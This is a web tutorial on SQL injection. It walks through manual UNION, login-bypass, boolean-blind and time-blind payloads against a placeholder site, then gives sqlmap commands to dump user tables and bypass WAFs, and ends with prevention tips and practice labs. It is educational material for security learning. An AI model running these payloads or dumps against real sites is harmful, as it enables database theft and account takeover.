SQL Injection from A to Z – Manual & sqlmap Guide

What is SQL Injection?

SQL injection (SQLi) occurs when user-supplied input is inserted directly into a SQL query without proper sanitisation. Attackers can read, modify, or delete database data — and in some cases execute OS commands.

Manual SQL Injection – 10 Steps

Step 1: Identify the Injection Point

URL: http://target.com/products?id=1

# Try adding a single quote:
http://target.com/products?id=1'
# If you see a SQL error = injectable!

Step 2: Determine Number of Columns

http://target.com/products?id=1' ORDER BY 1--
http://target.com/products?id=1' ORDER BY 2--
http://target.com/products?id=1' ORDER BY 3--
http://target.com/products?id=1' ORDER BY 4--  # Error = 3 columns

Step 3: Find Display Positions

http://target.com/products?id=-1' UNION SELECT 1,2,3--
# Numbers visible on page = those column positions are displayed

Step 4: Extract Database Info

http://target.com/products?id=-1' UNION SELECT 1,database(),user()--
http://target.com/products?id=-1' UNION SELECT 1,version(),@@datadir--

Step 5: List Tables

http://target.com/products?id=-1' UNION SELECT 1,table_name,3 
FROM information_schema.tables 
WHERE table_schema=database()--

Step 6: List Columns

http://target.com/products?id=-1' UNION SELECT 1,column_name,3 
FROM information_schema.columns 
WHERE table_name='users'--

Step 7: Dump Data

http://target.com/products?id=-1' UNION SELECT 1,username,password FROM users--

Step 8: Login Bypass

# Username field:  admin'--
# Username field:  admin' OR '1'='1
# Username field:  ' OR 1=1--
# Password field:  anything (ignored by --)

# Classic:
' OR '1'='1
' OR 1=1--
admin'/**/OR/**/1=1--

Step 9: Boolean-Based Blind SQLi

# True condition = page loads normally
http://target.com/products?id=1' AND 1=1--

# False condition = page empty/different
http://target.com/products?id=1' AND 1=2--

# Extract data char by char:
http://target.com/products?id=1' AND SUBSTRING(database(),1,1)='s'--

Step 10: Time-Based Blind SQLi

# If page delays 5 seconds = true condition
http://target.com/products?id=1' AND SLEEP(5)--
http://target.com/products?id=1'; WAITFOR DELAY '0:0:5'--  # MSSQL

sqlmap – Automated SQL Injection

GitHub: github.com/sqlmapproject/sqlmap

# Install
sudo apt install sqlmap   # Kali
git clone https://github.com/sqlmapproject/sqlmap.git

# Basic scan
sqlmap -u "http://target.com/products?id=1" --batch

# List databases
sqlmap -u "http://target.com/products?id=1" --batch --dbs

# List tables in a database
sqlmap -u "http://target.com/products?id=1" --batch -D mydb --tables

# Dump table data
sqlmap -u "http://target.com/products?id=1" --batch -D mydb -T users --dump

# Dump specific columns only
sqlmap -u "http://target.com/products?id=1" --batch -D mydb -T users -C username,password --dump

# POST injection (login form)
sqlmap -u "http://target.com/login" --data="user=admin&pass=test" --batch

# Use a proxy (Burp Suite)
sqlmap -u "http://target.com/products?id=1" --batch --proxy="http://127.0.0.1:8080"

WAF Bypass Tamper Scripts

# Common tamper scripts
sqlmap -u "http://target.com/products?id=1" --batch \
  --tamper=space2comment,between,randomcase

# Space to comment (/**/): space2comment
# Random case (SeLeCt): randomcase
# URL encoding: charencode
# Double URL encoding: chardoubleencode
# HTML encoding: htmlencode

Prevention

• Use parameterised queries / prepared statements (the only real fix)
• Use an ORM (Hibernate, SQLAlchemy, TypeORM)
• Validate and sanitise all user input
• Use a WAF — check yours: WAF Detector →
• Apply principle of least privilege to DB accounts

Practice Labs

• PortSwigger Web Security Academy — Free, best SQLi labs
• DVWA — Damn Vulnerable Web App
• SQLi-Labs (GitHub) — 100+ SQLi challenges